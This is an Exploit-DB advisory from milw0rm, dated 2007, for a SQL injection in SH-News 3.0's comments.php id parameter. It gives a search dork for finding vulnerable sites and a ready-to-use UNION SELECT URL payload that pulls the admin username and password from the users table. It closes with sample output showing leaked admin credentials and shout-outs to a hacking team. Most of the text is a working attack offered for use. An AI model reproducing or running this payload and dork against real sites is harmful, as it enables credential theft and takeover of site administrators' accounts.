SH-News 3.0 comments.php id Remote SQL Injection Vulnerability

2007-12-09T00:00:00
ID EDB-ID:4709
Type exploitdb
Reporter hadihadi
Modified 2007-12-09T00:00:00

Description

SH-News 3.0 (comments.php id) Remote SQL Injection Vulnerability. CVE-2007-6391. Webapps exploit for php platform

                                        
                                                       
             ########################################################################
             #                                                                      #
             #    ...:::::SH-News 3.0 SQL Injection Vulnerbility ::::....           #           
             ########################################################################

Virangar Security Team

www.virangar.org
www.virangar.net

--------
Discoverd By : hadihadi

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all iranian hackerz

greetz:to my best friend in the world hadi_aryaie2004
-----------------------------------
dork: Powered by SH-News 3.0
-----------------------------------
vlu:
http://site.com/patch/comments.php?id=-1'union%20select%201,2,nick,4,5,password,7%20from%20shnews3_users%20where%20id=1/*

-------------------------------------
you can see somting such as:
Poster:   admin Posted: 01.01.1970 03:30
z4478ad
#############
'admin' is admin user & 'z4478ad' is admin password
-------------------------------------

# milw0rm.com [2007-12-09]